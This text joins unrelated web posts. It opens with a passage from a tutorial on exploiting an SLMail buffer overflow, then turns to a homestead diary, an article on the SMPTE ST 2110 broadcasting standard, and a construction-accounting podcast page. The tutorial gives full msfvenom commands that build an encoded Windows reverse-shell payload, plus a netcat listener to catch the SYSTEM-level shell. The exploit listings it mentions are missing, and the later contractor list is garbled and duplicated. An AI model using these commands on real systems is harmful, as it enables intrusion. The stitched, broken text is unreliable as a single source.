Writing shellcode from scratch is an advanced technique and isn't going to be covered here. Instead, we will use msfvenom to generate it for us. Msfvenom is a tool that is part of the metasploit-framework that is used for generating payloads, and there are many options for what type of payloads to use, how to format them, and how to encode them. More information can be found here:

https://www.offensive-security.com/metasploit-unleashed/msfvenom/

The command we need for our shellcode will be:

msfvenom -p windows/shell_reverse_tcp LHOST=<your ip> LPORT=<port> -f c -a x86 --platform windows -b "\x00\x0a\x0d" -e x86/shikata_ga_nai

The -p option is used to specify the payload. LHOST is YOUR ip address, the address of the attacking machine. LPORT is the port YOU will be listening on, and can  be any port that isn't already in use. The -f option is used to set the format; here, the exploit will be formatted in a way that it can be included in C code, but it will work for our python exploit. The -a option is used to specify architecture, in this case, x86 for 32-bit. The --platform option is used to specify the platform. The -b option is used to specify the bad characters that we don't need in the payload. Finally, the -e option is used to choose the encoder, which is a necessary step since we've told msfvenom not to use the bad characters, which may be necessary.

When the shellcode is executed, it will self-decode in memory before executing (This can be observed by setting a breakpoint in Immunity and "stepping-thru" individual instructions). The bad characters won't cause an issue at this point, because bad characters are only a problem when being used as input to the program. Once the bad characters are decoded in memory, the CPU just executes the commands they represent in assembly language, instead of the application interpreting them as carriage returns or line feeds.

Note that your shellcode may not appear this way, as the encoding process can generate different shellcode each time. This is normal and it is okay.

It's time to take this shellcode and copy it into the exploit, replacing the C's. Preferably, you should create a variable named "shellcode", and assign it the value of the shellcode, and then just add the variable name to the buffer. But we're not quite done yet. The decoder needs some extra space on the stack to do its job, and running the exploit as-is would likely fail, so in order to "pad" the buffer with empty space, we're going to add a series of NOP (no operation) instructions, commonly refered to as a "nop sled", due to the fact that once execution hits this series of NOPs, execution will "slide" down the NOPs until it hits our shellcode. The hex code for NOP is \x90

Our buffer should look something like this:

Set a breakpoint in Immunity on the JMP ESP address, and run the exploit. Use F8 to "step thru" instructions one by one to watch how it "slides" down the "NOP sled".

A cool trick you can do (which isn't necessary, it's just fun to watch), is to double-click the currently highlighted NOP in Immunity, which will open up a prompt, and then change the NOP into "INT3" This will set a special breakpoint that will cause any changes in shellcode from that point on to be highlighted in blue in the memory dump, allowing you to watch as the decoder does its thing, as long as you keep stepping thru one instruction at a time. Just remember to right-click ESP and clicking "Follow in dump" after the decoder is hit.

Before resuming normal execution, set up a netcat listener on the attacking machine to catch the incoming reverse shell:

nc -nvlp 443

This will tell netcat to listen for incoming connections on port 443, which is what the reverse shell will be connecting to. Resume normal code execution, and we should get a shell:

What truly makes this vulnerability so dangerous is that SLMail is running as a service, which means that it runs with system-level privileges:

For context, the nt authority\system account is the most privilaged account on Windows. This account holds even more power than the Administrator account. With this, we demonstrate that this vulnerability was an extremely high risk at the time of its discovery, and unpatched systems could be totally compromised by this attack, giving attackers complete control over the victim system.

But we're still not done yet…because when we exit the shell, SLMail crashes. This causes us to loose our foothold, so we're going to fix that.

Finishing touches

The memory corruption caused by the buffer overflow is normally irrecoverable, which is why SLMail crashes when the shell is exited. But this can be fixed with a simple addition to the msfvenom syntax:

msfvenom -p windows/shell_reverse_tcp LHOST=<your ip> LPORT=<port> -f c -a x86 --platform windows -b "\x00\x0a\x0d" -e x86/shikata_ga_nai EXITFUNC=thread

By doing this, the shellcode will be regenerated, and this time when the the reverse shell is exited, the shellcode will gracefully terminate the current thread used for the shellcode's execution, allowing the main program to recover and keep running. This allows for repeat exploitation, and doesn't require us to continue restarting the service in order to exploit it again.

Some other final finishing touches you could do is to add comments to the code to remember what everything is and what is going on in the program. Below is an example of the finished exploit, and was my first BoF that I wrote for SLMail.

For more buffer overflow examples and other python code I’ve written, drop by my github here!:

https://github.com/purpl3-f0x

[benjamingarden]

This Month On The Farm: July 2018 - Garden Updates (plus a plan!), Kitchen Updates, Answers To A Business Question Many Of You Have Asked Me About, And More!

Jack

Oh my.  It was a HOT start to the month.  We had a 6-day stretch of upper 90's to low 100's + full on "oppressive" humidity weather to kick it off.  It was, in one word, miserable.

It's generally been quite a hot and humid summer and you can see it in the garden.  The few times we've been the lucky recipient of rain, thankfully, we've received quite a bit, but it was very inconsistent and partnered with scorching hot temp's during the stretches between rain showers.  There's proof of it in the summer squash with some of the little fruit getting rot as well as in the cukes with deformity on a good handful. The Garden Despite the oppressive summer, the garden continues to do well.  We are even still collecting sugar snap peas from our very generous, albeit little, patch!  I can't believe it.  Usually by now they turn hard and lose their sweetness but for some reason it's working out well this year.  The potatoes are about ready to begin harvesting, we've been swimming in green beans the last 2 weeks (hooray for that!), the cukes are ripening slowly, which is ideal, so we are able to keep up with them, and the broccoli is ready to begin harvesting. I (again) forgot to net the elderberries, so the birds have feasted on a good portion of them.  It will still leave me quite a few to dry now that they are ripe, so for that I'm grateful.  I hope to remember to net them after they flower next year. Summer squash has had a few issues, but it's looking good and we are harvesting a LOT of tomatoes (stinks now that I'm not eating tomatoes.....).  The peppers are getting big and the little sweets are ripening as if on cue, because I am now out of frozen peppers from last year's garden.  Did I tell you we had some surprise kohlrabi?  I didn't mean to plant the seeds, they must have gotten into my broccoli seed packet by accident.  So, surprise!!  They are delicious. If you’re just tuning in, this is a brand new ongoing series in which I document each month of our lives in our transition to a simple, homemade life on a modern homestead. We ditched town and moved to the country in 2008 and we blog about both our successful and not-so-successful ventures in homesteading, switching to natural products, and embracing a whole foods lifestyle.  Check out the entire series here.

elderberries

I have plans to get our garden space fenced in this year so I can grow carrots and cabbage again without rabbits and woodchucks feasting.  It would also be fantastic to get beans from all of the plants rather than seeing half of them eaten (the plants, not the beans) with just stems pointing toward the sky as proof of what could have been.  We just need to do it, regardless of whether or not there is time.  You can always find time if you prioritize and I have declared this the priority for fall.  A little bit of resistance was had but we are now both on the same page.

notice the "sticks"?

I am excited. I am also trying to convince the "handy man" that I need a small greenhouse space.  I would, ideally, like to convert the current garden shed into a bit of a greenhouse for seed starting.  Communication regarding this project has (temporarily) halted.  I'll give it time to roll around in his head before I push.  Again.

I took this photo during my blueberry jam-making session.  Nope, we are not interested in the "open cabinet" look.  Rather, they've been removed for painting and I have never seen them again.....maybe in the fall?

Projects And Such Projects continue to be on hold until fall.  We've prioritized what we'll be doing as soon as we have a couple of weeks to devote to them.  So, this means the kitchen is still not finished.  The last of the project is to paint the kitchen as well as all of the cabinets. I've written a bit in our weekly meal plan about excluding nightshades from my diet to try and get ahold of my seasonal allergies.  It's working well. I will try to re-introduce them in another month or so to see if they are a source of inflammation for me or not.  Fingers crossed they are not....

blueberry jam

We were able to freeze a LOT of blueberries in July (plus make jam) as well as quite a bit of cauliflower and broccoli.  I'm hoping to freeze green beans, kale, peppers, onions, carrots, and mirepoix this month.  I freeze mirepoix because I start many soups with the mix and it's just so much easier than chopping carrots, onions and celery every single time. I believe we will try to can tomatoes either this month or next month as well, if we can find a day to do it.  It takes quite a bit of time to process them, so we'll see.  If not, I'll at least oven-dry and/or dehydrate some of the tomatoes and freeze those.  They are great added to sauce later in the year.

can you believe this is one of the chicks?

and another of the chicks!

The Chickens So, I've come to the conclusion that we've increased our flock larger than it should be.  Live and learn, right?  It's an interesting balance, trying to do what's right for the homestead and trying to keep up with egg demand.  Our egg customers tell us time and again that ours are the best eggs they've ever eaten.  Even compared to other local eggs.  I have absolutely no idea why - when they are compared to others who free range, but we are thrilled and grateful to hear it.  So, because of this, and because we run out of eggs within 40 minutes of getting to the farmer's market, we decided to continue increasing the flock. And we were wrong. It's just too much.  It doesn't feel right, it's not the right blend of breeds (we've got quite an ornery group right now) and it can be overwhelming at times.  So, we'll keep them all until the inevitable happens, and won't add for a couple of years.  This, of course, means we will be feeding a lot of girls and get fewer and fewer eggs (egg production typically peaks at 2 years of age and declines thereafter) for a bit, but we've learned. We will then, going forward, stick with Plymouth Barred Rocks and Americauna/Aracaunas.  We may have a few buffs, but no other breeds.  We've always had a flock we've bonded very well with and who have, although they are chickens and have pecking orders, etc., have respectfully lived with each other.  This group has some just downright mean and cranky chickens that are dirtier/messier and louder than any of our previous flocks.  The littles, however, we have bonded very well with, which worries me about when we have to combine the two flocks.  I don't want them to lose their sweetness. The reality is, we don't make any money off of the eggs (because we feed them certified organic feed and still sell the eggs and the same price as non-organic - $4.00/dozen).  So yes, it's our fault, but even if we charged more, we wouldn't make much off of the increase.  We don't have a large enough flock for profit (still), and don't plan to work toward that.  The egg money does, however, pay for all of the chicken's bills (feed, shavings, straw, treats, etc.), and will continue to as the flock decreases (fingers crossed).  We enjoy raising them and are happy we are able to furnish some families with reasonably priced (non-certified) organic eggs.

Emerson (left) and Oliver

Jackson

Oliver, Emerson & Jack Oliver had a bit of a difficult month.  He goes through periods of just not feeling well, which means he doesn't want to eat, is a bit cranky and clingy, and is just downright upset.  It's sooooooo difficult because I have no idea how to help him.  This is the part of having pets that I get frustrated with.  I just hate seeing any animal in pain or not feeling well so when I can't fix it, it's incredibly hard. Both he and Emerson had trips to the vet in July.  Both for eye issues, although on separate weeks and different issues.  Em had a bump at the corner of his eye which, thankfully, went away.  Oliver had what we believe were allergy issues.  Of course!  He's got just about every health issue Frenchie's are known for, so why not allergies too??? And then there's Jack.  He's actually been fairly low-key this month although the periods of thunder we've had (every single week) as well as 2 weeks of fireworks being set off around us are making him a bit gun-shy.  He is such a chicken and so fearful of loud noises.  The poor guy has a lot of pacing time put in this past month.

The Business We are knee-deep in our 1st busy season of the year (the second starts the beginning of October through New Years).  Summer means we are working 7 days a week to keep up with products as well as attending markets and craft shows. I have many of you email me and ask about starting a bath & body business yourself.  I figured I would speak to that a bit here because it's such a common question.  Yes, it's certainly a business that anyone can start.  Similar to some other businesses, the largest 2 hurdles are formulating good products and then finding customers who will buy them.  It's, unfortunately, a very saturated market, so you have to figure out how your products are different and advertise that.  We've had many of our customers start (and end) bath & body product businesses of their own.  Many ended because it's expensive.  You've certainly got overhead in products and packaging.  Others have ended because they can't grow their customer base as quick as they'd hoped.  And still others didn't realize how much work it really is to do everything - formulate, make, package, sell, run a website, ship products, keep the books, and so on. And if you decide to sell wholesale, that's a whole other set of "to-do's". The demands and struggles are not unique to this field, by any means, but because it's "home-based" I think it's looked at as an easier business to get into.  And it can be - as long as you have a realistic view.  If you have a passion for it, are prepared to work for yourself (fully responsible for it and your paycheck) as well as a handful of really good products, you should absolutely consider going into business! I encourage you to keep the questions coming, ask a handful of people currently working in the field for their thoughts as well, and think about all of the struggles shared with you to ensure you are willing (and able) to have a similar experience.

How was your July on your own homestead?

If you would like to see more of our day-to-day, please join us on Instagram.

How was your July?

This Month On The Farm: July 2018 - Garden Updates (plus a plan!), Kitchen Updates, Answers To A Business Question Many Of You Have Asked Me About, And More! was originally posted by My Favorite Chicken Blogs(benjamingardening)

[technato]

SMPTE ST 2110: Structuring the Future of Broadcasting

This standard is a game changer.

Internet Protocol (IP) technology is the wave of the future for the broadcasting industry, providing more flexibility, scalability, and cost savings, plus increased mobility – IP networks have been deployed just about everywhere, including in the International Space Station and Antarctica. You may even be holding an IP device – your smart phone – in your hand right now.

However, until recently, vendors have been battling to control IP while end users simply wanted the industry to settle on one method of working. Agreeing to one set of standards is critical for the industry to move forward, and finally, those standards have been defined.

The Society of Motion Picture and Television Engineers (SMPTE®) has created the SMPTE ST 2110 Professional Media Over Managed IP Networks standards suite, a major contributing factor in the movement toward one common IP-based mechanism for the professional media industries. With this suite, manufacturers will be able to create products that work seamlessly together in an IP-based studio.

SMPTE President Matthew Goldman, Senior Vice president of Technology, TV and Media at Ericsson, says, “Radically altering the way professional media streams can be handled, processed and transmitted, SMPTE ST 2110 standards go beyond the replacement of SDI (serial digital interface) with IP to support the creation of an entirely new set of applications that leverage information technology (IT) protocols and infrastructure. The formal standardization of the SMPTE ST 2110 documents enables a broad range of media technology suppliers to move forward with manufacturing to meet the industry’s high demand for interoperable equipment based on the new suite of standards.”

SMPTE ST 2110 delivers unprecedented interoperability and provides a solid foundation expected to accelerate adoption of video over IP and help the industry grow at scale.

SMPTE Director of Standards Development Thomas Bause Mason says, “Thanks to the ST 2110 standards suite, every element that has been part of the traditional SDI studio can now be put into an IP studio.”

SMPTE ST 2110 is made up of a number of separate documents:

ST 2110-10: system overview and synchronization

ST 2110-20: uncompressed video format details

ST 2110-21: management of torrents of packets needed to carry an uncompressed video signal

ST2110-30: uncompressed PCM audio

ST 2110-40: carrying the all-important metadata over IP networks

Good Timing

The key to SMPTE ST 2110 is timing. The standards make it possible to separately route and break away streams of audio, video and ancillary data over professional IP networks in real-time for the purposes of live production, playout and other professional media applications. Each essence flow may be routed separately and accurately brought together again at the end point. The component flows are synchronized, so the essence streams are co-timed to one another while remaining independent.

This advance simplifies actions such as adding captions, subtitles, and teletext, as well as processing multiple audio languages and types.

“That opens the door to [many advantages], such as taking audios and sending them off independently into an audio sub-system, without the burden of all the video overhead of SDI; or taking a closed-captioning stream and sending it to a service in the Cloud over IP,” says Paul Briscoe, a member of the SMPTE ST 2110 Working Group and Principal Consultant at Televisionary Consulting. “ST 2110 allows us to replicate the existing systems we build today with SDI – to emulate them entirely. Essentially, we can take an SDI signal, fully transport it as independent essence streams over IP, and put it back together anywhere else and make another SDI.”

In other words, with SMPTE ST 2110 “we can now build highly efficient and flexible media systems, which move around and deal with only the essential pieces needed,” says Briscoe.

Clocks defined in ST 2110-10.

Adoption Drives Changes

In an article written by Wes Simpson, he notes that manufacturers are more than willing to embrace the new standards, and outlines the changes that will be driven by the adoption of SMPTE ST 2110 for broadcasters. These include:

Common Timing: IEEE 1588 Precision Time Protocol allows devices to be driven by a common master clock at accuracies of better than 1 microsecond, providing complete video and audio synchronization across an entire facility.

Simplified Infrastructure: Say good bye to individual cable connections for each signal path. Using high-speed Ethernet, a single connection can support multiple uncompressed HD video along with hundreds of uncompressed audio signals.

Reduced Bandwidths: SMPTE ST 2110-20 signal with 1080p video occupies less than 2.67 Gbps, freeing up about 300 Mbps of bandwidth, almost enough capacity to carry one hundred audio signals. By sending only image pixels, the new standard moves to a system of only sending elementary signals, and removing the need for audio and metadata embedding and de-embedding.

Improved Versatility: SMPTE ST 2110 includes a robust mechanism for defining a wide range of video formats, including multiple bit depths, multiple colorimetry schemes, any conceivable frame rate, and other associated parameters. Separating the transport format from the video format gives broadcasters the ability to choose exactly the right format they need at each step along the broadcast chain, and still be able to transport every version over a common infrastructure.

SMPTE ST 2110 in Action

The SMPTE ST 2110 standards are already being embraced by the industry with tremendous results.

Sony and CenturyLink, Inc. , recently completed a test to determine the operational latency of a long-distance Remote Integration (REMI) connection between New York and London. The entire REMI environment was built on the SMPTE ST 2110 standard with Sony IP equipment.

As part of the test, the companies simulated a live broadcast for a global news organization, resulting in the world’s first transatlantic SMPTE ST 2110 IP live transmission. The simulation yielded no discernable operational latency on the video sources, despite the significant distance between the switcher processor and control panel.

Typically, a news organization would need a control room and a switcher for every show. Now, that resource can be shared across multiple programs, and with IP, can be shared across multiple bureaus and locations.

NEP , technical production partner, recently launched the first mobile unit in North America designed and integrated specifically around SMPTE ST 2110. NEP created one of the most flexible mobile units ever for sports entertainment company, ESPN.

Dubbed EN3, the truck is NEP’s fourth to feature an IP router, but the first with a “classic” footprint. Joe Signorino, VP, Systems Integration, NEP U.S. Mobile Units, says previous versions “were primarily huge, five-truck systems. We always had an eye towards creating a more [classic] footprint and a lot quicker setup and strike. I think this unit helps define the near future for what we’ll be doing at NEP.”

Signorino elaborates on the EN3 origins, “When we started on this project [over a year ago], SMPTE 2110 was well on its way to completion of the video and audio portions of the standards. Obviously, we didn’t want to build something that we’d have to end up changing shortly, so we pushed several manufacturers to get on the bandwagon with us for a 2110 deployment and started getting more equipment connected via IP.”

One of the key things the company worked very closely on was the interface between the switcher and the router. Installing the IP router saved weight and space, and also reduced power needs, noise, and heat.

According to Signorino, IP “not only brings more flexibility but also scale, so you are able to scale the size of the system from one show to another and make something that is a lot larger than would be possible in an SDI-based system. That is certainly the case with EN3.”

NEP EN3 is the first truck in North America in which the switcher is tied to the router via SMPTE ST 2110.

Game Changer

With the ever-growing demands of today’s audiences, SMPTE ST 2110 is a real game changer for the broadcasting industry, bringing top speed and quality to the forefront for a variety of projects.

“Professional media is a uniquely challenging field because of its real-time nature and high quality-of-service requirements, both of which consumers may take for granted,” says SMPTE President Matthew Goldman in a press release announcing the publication of SMPTE ST 2110-40. “The standardization of SMPTE ST 2110 documents provides broadcasters, producers, and media technology suppliers with the tools they need to meet these requirements while working in the IP realm.”

Created in a record-breaking two years, SMPTE ST 2110 will guide IP-based broadcasting for years to come. Of course, audiences will drive future hurdles to jump, leading to the continued iterations of innovation. But that’s all part of the game.

Resources

(21 Apr 2017). What SMPTE 2110 is exactly and why it matters for production. RedShark.

(9 Apr 2018). Sony and CenturyLink Complete World’s First Transatlantic SMPTE 2110 IP Live Transmission. CenturyLink.

Bevir, George. (18 Sept 2017). SMPTE approves ST 2110 standards suite for IP. IBC365.

Dachman, Jason. (8 May 2018). NEP Rolls Out Ultra-Flexible EN3 With SMPTE ST 2110 IP Core for ESPN. Sports Video Group.

Goldman, Michael. (Jan 2018). SMPTE ST 2110: IP Revolution’s Next Step. SMPTE Newswatch.

Pennington, Adrian. (2 Apr 2017). The future of SMPTE 2110 and beyond. Sports Video Group Europe.

Simpson, Wes. (18 Oct 2017). What SMPTE-2110 Means for Broadcasters. TV Technology.

SMPTE ST 2110: Structuring the Future of Broadcasting syndicated from https://jiohowweb.blogspot.com

[constructionaccounting]

270: Highly Successful Construction Contractors Have Access To Skilled Advisors

This Podcast Is Episode Number 0270, And It Will Be About Construction Contractors Need Help From Knowledgeable Advisors

Everywhere there a Buzz Words and lots of people who say they are Experts in their field. Question is What the Expert knows is in a topic that is useful to you?

Everyone wants to be paperless. It is not so much about saving a Tree as saving Time. How can I get to My Bookkeeper, My Accountant, My Tax Accountant the information they need to develop the reports?

Most contractors tell me "Actually, I don’t want the reports I only want to know "scraps of information" so I can run My Business better. If there is an easy way to get the job done; I want to know it. There must be an App For That."

There are several apps and we have one just for Construction Contractors. It does a lot but no app does everything.

One of the first questions I am asked is do I have to keep my receipts?

After all, I used my debit card, and it is all on the bank statement

Bank Statements do not give all of the information needed to run your business. If you write a check, it will say When and How Much but not the “Who” and definitely not on WHY you wrote a check. Debit card transactions have Who, When and How Much; still no WHY.

My answer is Yes – Please. Many suppliers will take a product back IF you have a receipt. A few with your credit card will be able to find your transaction and be able to credit the purchase back to the card. For everyone else; your receipt is the fastest way to document you actually made the purchase.

Stores return policy is as generous as they can be. But not everyone can offer 100% refund for something that is obviously worn out, purchased from somewhere else or sometime long ago.

We have all heard stories where dress clothes (with tags attached and hidden) are worn to a “fancy party” (New Year’s Eve’s) and next day returned to the store for a full refund. I don’t know of anyone personally who has done it but reading on the internet – many stores have changed return policies because of this type of customers (not clients). Kinda like being an “Unwelcome Pest” instead of a “Welcome Guest.”

I was in a store who refused to accept a return from the customer in front of me. The clerk told the customer they had made Too Many Returns. We want to be the Welcomed Guest, be a good neighbor, friend, the benefit to our community as we provide “Goods and Services” to our friends and clients. Not everyone is a Good Client or Customer.   Tax Accountants are someone every Contractor should have. Why, when Turbo Tax can do it all?

Turbo Tax is in simple terms an “AI” programmed to fill in the blanks based on the information you give it. So as an AI, the software might be smarter than you and I; but remember that “The Computer” does not win whenever playing against “Chess Masters” and a “Real Person” has done the programming. Here are the Should Have, Ought To Have, Maybe, Because [fill in the blank] with as many as you can think of and here are some more. You have already “Over Handled” your documents; especially if you are doing all of your own bookkeeping. I can’t afford to “Hire It Out” Sometimes your budget is “Toast!”

Are you spending time doing the right things? The old saying “Sell Your Way Out Of A Problem” is true, but be sure you have done the right job for the right client, and the right price can only be answered when the accounting system has the proper information. The answer is a knowledgeable person between the keyboard and chair touching the keys. Hint - There is a difference between Void and Delete.  

Quicken could work as an overgrown checkbook. What would it tell you?

Wait, I took the easy step interview, synced to my bank; it has everything it needs!  Does It? or does it have everything YOU think it needs to be based on what you know? If you are the Smarted Person in the room – Fantastic.

Excited to meet someone who has read and understood everything on the internet. All information is “Free, Perfect, Now!” Still doesn’t mean it is useful information to anyone and everyone who reads it versus just tons of general data. We each have different opinions on “What Is Important.”  

Questions to ask your New or Existing Tax Accountant

Explain the differences in Sole Proprietorship, Partnership, Limited Liability Company, S-Corporation.

Now, What is the Difference when it comes to Taxes Hint – Self Employment Tax

Some Respected Attorneys do not understand the differences between a Tax Point of View.  

Should I have my spouse as part of the company? Paid or Unpaid?  

Maybe I don’t need to add them if something happens to me [she|he] gets everything.  

I want to hire other Family Members to work in my company.

Should I have them as an employee, part of management or own a portion of the company?   

I want my friends to be part of the company; we have a great time on Friday night.

We all agree that they would be an asset. (Does the part “We All Agree” include your spouse?

Occasionally Spouses find being supportive becomes a “Full Time” unpaid position.  

Is there a tax benefit to hiring my Teenage or College Children Part-time? Your Tax Accountant’s role is to roll up your business life, personal life (including spouse, children, assets, home, retirement account, stock market accounts, odds and ends of side income) and file your business and personal income taxes. Some states do not have an Income Tax (Washington) but have numerous other taxes. Soda Tax, Sales tax, Vehicle tax, Property taxes that continue to increase and more.

Have you ever played “Where’s Waldo” or walked through a “Corn Maze” to get in the spirit of Halloween? Being in business is challenging every day. There are no shortage demands on your time.

Who is working for Who?

What type of contractor do you want to be?

General Contractor or Specialty Trade Contractor?

Do you provide Design and Install or just Design or just Installation?

Are you working directly with the Home Owner?

Do you work as a Specialty Trade Contractor for a General Contractor?

Are you being paid by the Owner or by the General Contractor”?

Having employees can seem like You Are Working For Them Instead of Them Working For You (except you are paying in cash, loss of time, taxes, and other Cash and Non-Cash Benefits (which takes cash).

Do you have W-2 employees?

Are you paying them to watch you work (under the premise of teaching them)?

Do you have Specialty Trade Contractors work for you?   

Are they Bonded, Insured, carry their own Worker’s Comp policy?  

Are you treating your employees as 1099 contractors so avoid collecting and paying taxes?

Hint – Use a Labor Service or Payroll Service. State Labor Laws can be complicated

  It's All About Getting Paid

You Know How To Do The Work

Are You Getting Paid For It?  

Do you have a written contract or invoice that the Client signs?

Do you set the payment schedule in your contracts?

Do you receive Job Deposits on larger projects?  

Is the payment schedule set by Others?  

Have you given the owner of the property a “Notice To The Owner?”

Followed by a “Notice Of Intent To Lien” if they decide you be doing “free work?”

With a Specialty Contractor with a “Pay When Paid” clause?

Are you working New Construction, Residential Remodels, Small Commercial Projects (TI’s)? They are each different. As a Construction Contractor, you understand the difference between the type of work you do.

It is important to verify that your Tax Accountant has a clue about what you do. As a Construction Contractor, you have many expenses that an “Independent Traveling Sales Person” would not have. It is by exception that a Construction Contractor completes a project without having any Leftover Stuff.

Outside Sales People tend to lease their vehicle and miles are usually freeway miles so taking a mileage deduction makes sense. The wear and tear on your vehicle are huge. Almost Always taking actual expenses is better.

You haul stuff from the supplier to the job site. You create a mess in the process of remodeling a house. That mess needs to be recycled, reused or taken to the dump. Scraps of lumber, cardboard, packing are just more stuff that makes a tour of your truck, van or trailer. Even if you have an On-Site Dumpster – There is still “Stuff” to be dealt with. Hint - Hopefully you can return the “Extras” to the supplier.

Many marketing firms will also offer to be your Business Coach. Again, this person needs to understand about your business. Numbers are great! Your Banker is your numbers best friend and understands the numbers on the Tax Return you receive from your Tax Accountant. Tax Accountant adds credibility that you did not do the job yourself. In other words, you are not making them up (or reducing them down).

The same thing applies when Bank requests Homeowner to HIRE A LICENSED CONTRACTOR to do the project, and the Bank pay the Contractor direct. Why, because with a set of prints the Licensed Construction Contractor knows What To Do and How To Do It! Construction Contractors cringe when they see on the news any buildings that collapse when Building Codes with good workmanship it could be prevented.

The first Question is: Has your Business Coach, Tax Accountant, or Banker ever worked with a Construction Contractor? If you are their First Construction Contractor Client; great as long as you know it!

As a New, Seasoned, or Returning Contractor if you are being compared to that Espresso Stand down the street that is a big deal. Hint – You have Cost of Goods Sold (COGS) and by exception Inventory.

We are currently offering Online Classes. More classes to follow. Visit FastEasyAccountingStore.com for our Online Products for our friends in the United States, Canada, and other International Locations.

Looking forward to being of assistance. In the meantime; Read Our Blogs, Listen To Our Podcasts.

Welcome Guest Posts. Participate in Joint Podcasts with other Service Providers featured on their sites.

Download our Free Forms, Fill out a form telling us what 3rd Party Applications you use and how it is helpful. We want to pass on to other Construction Contractors helpful “Resources, Tips, and Tricks.” Enjoy your day.

In Conclusion:

Helping Contractors around the world is one of the reasons we added the FastEasyAccountingStore.com Follow our blogs, listen to Contractor Success M.A.P. Podcast. We Appreciate Our Visitors, Listeners, and Subscribers. – Thank You!!

Please feel free to download all the Free Forms and Resources that you find useful for your business.

Download The Contractors APP Now!

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You Need

Simply scan the QR code below or search for ‘MyAccountants’ in the App Store and enter the Access code: FEAHEROS to utilize the powerful App features and capabilities, and benefit from having our Construction Accounting App at your fingertips, 24/7.

Access code: FEAHEROS

Or click to download the Contractors APP now from the App or Android store

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We are here to Help “A Little or A Lot” depending on your needs.

About The Author:

https://www.fasteasyaccounting.com/free-one-hour-consultation-bookkeeping

Sharie DeHart, QPA is the co-founder of Business Consulting And Accounting in Lynnwood Washington. She is the leading expert in managing outsourced construction bookkeeping and accounting services companies and cash management accounting for small construction companies across the USA. She encourages Contractors and Construction Company Owners to stay current on their tax obligations and offers insights on how to manage the remaining cash flow to operate and grow their construction company sales and profits so they can put more money in the bank. http://www.fasteasyaccounting.com/sharie-dehart/ 206-361-3950 or sharie@fasteasyaccounting.com

I trust this podcast helps you understand that outsourcing your contractor's bookkeeping services to us is about more than just “doing the bookkeeping”; it is about taking a holistic approach to your entire construction company and helping support you as a contractor and as a person.

We Remove Contractor's Unique Paperwork Frustrations

We understand the good, bad and the ugly about owning and operating construction companies because we have had several of them and we sincerely care about you and your construction company!

That is all I have for now, and if you have listened to this far please do me the honor of commenting and rating the Podcast  www.FastEasyAccounting.com/podcast Tell me what you liked, did not like, tell it as you see it because your feedback is crucial and I thank you in advance.

You Deserve To Be Wealthy Because You Bring Value To Other People's Lives!

I trust this will be of value to you and your feedback is always welcome at www.FastEasyAccounting.com/podcast

This Is One more example of how Fast Easy Accounting is helping construction company owners across the USA including Alaska and Hawaii put more money in the bank to operate and grow your construction company. Construction accounting is not rocket science; it is a lot harder than that, and a lot more valuable to construction contractors like you so stop missing out and call Sharie 206-361-3950 or email sharie@fasteasyaccounting.com

Contractor Bookkeeping Done For You!

Thinking About Outsourcing Your Contractors Bookkeeping Services?

Click On The Link Below:

www.FastEasyAccounting.com/hs

This guide will help you learn what to look for in outsourced construction accounting.

Need Help Now?

Call Sharie 206-361-3950

sharie@fasteasyaccounting.com

Thank you very much, and I hope you understand we do care about you and all contractors regardless of whether or not you ever hire our services. Bye for now until our next episode here on the Contractors Success MAP Podcast.

Enjoy your day.     Sharie

About The Author:

https://www.fasteasyaccounting.com/free-one-hour-consultation-bookkeeping

Sharie DeHart, QPA is the co-founder of Business Consulting And Accounting in Lynnwood Washington. She is the leading expert in managing outsourced construction bookkeeping and accounting services companies and cash management accounting for small construction companies across the USA. She encourages Contractors and Construction Company Owners to stay current on their tax obligations and offers insights on how to manage the remaining cash flow to operate and grow their construction company sales and profits so they can put more money in the bank. http://www.fasteasyaccounting.com/sharie-dehart/ 206-361-3950 or sharie@fasteasyaccounting.com

Our Workflow Removes Your Paperwork Frustrations

For Contractors Who Prefer

To Do Your Bookkeeping

Fast Easy Accounting Do-It-Yourself Construction Accounting Store Is Open

Most Contractors Setup QuickBooks Desktop Version In One Of Three Ways:

#1 EZ Step Interview inside QuickBooks Setup #2 Asked Their Tax Accountant To Setup QuickBooks #3 They Attended A How To Setup QuickBooks Class Or Seminar

And QuickBooks Does Not Work The Way They Want It Too!

The Answer:

#1 Click Here To Buy An Entire QuickBooks Setup For Your Specific Contracting Company

#2 Click Here To Buy Just The Chart Of Accounts For Your Specific Contracting Company

  Short List Of Construction Contractors We Serve

Asphalt ContractorAsphalt Contractor Brand New ContractorBrand New ContractorBrick And Stone ContractorBrick And Stone ContractorCabinet Installation ContractorCabinet Installation ContractorCarpentry ContractorCarpentry ContractorCarpet And Tile ContractorCarpet And Tile ContractorCommercial Tenant Improvement ContractorCommercial Tenant Improvement ContractorConcrete ContractorConcrete ContractorConstruction EmployeesConstruction EmployeesConstruction ManagerConstruction ManagerConstruction Support SpecialistConstruction Support SpecialistCustom Deck ContractorCustom Deck ContractorCustom Home BuilderCustom Home BuilderDemolition ContractorDemolition ContractorDrywall ContractorDrywall ContractorElectrical ContractorElectrical ContractorEmerging ContractorEmerging ContractorExcavation ContractorExcavation ContractorFinish Millwork ContractorFinish Millwork ContractorFlipper House ContractorFlipper House ContractorFlooring ContractorFlooring ContractorFoundation ContractorFoundation ContractorFraming ContractorFraming ContractorGeneral ContractorGeneral ContractorGlass Installation ContractorGlass Installation ContractorGutter ContractorGutter ContractorHandyman ContractorHandyman ContractorHot Tub ContractorHot Tub ContractorHVAC ContractorHVAC ContractorInsulation ContractorInsulation ContractorInterior Designer ContractorInterior Designer ContractorLand Development ContractorLand Development ContractorLandscape ContractorLandscape ContractorLawn And Yard Maintenance ContractorLawn And Yard Maintenance ContractorMasonry ContractorMasonry ContractorMold Remediation ContractorMold Remediation ContractorMoss Removal ContractorMoss Removal ContractorPainting ContractorPainting ContractorPlaster ContractorPlaster ContractorPlaster And Stucco ContractorPlaster And Stucco ContractorPlumbing ContractorPlumbing ContractorPressure Washing ContractorPressure Washing ContractorRemodel ContractorRemodel ContractorRenovation ContractorRenovation ContractorRestoration ContractorRestoration ContractorRoofing ContractorRoofing ContractorSiding ContractorSiding ContractorSpec Home BuilderSpec Home BuilderSpecialty ContractorSpecialty ContractorStone Mason ContractorStone Mason ContractorStucco ContractorStucco ContractorSubcontractorSubcontractorSwimming Pool ContractorSwimming Pool ContractorSwimming Pool And Hot Tub ContractorSwimming Pool And Hot Tub ContractorTile And Carpet ContractorTile And Carpet ContractorTrade ContractorTrade ContractorTree ContractorTree ContractorUnderground ContractorUnderground ContractorUtility ContractorUtility ContractorWaterproofing ContractorWaterproofing 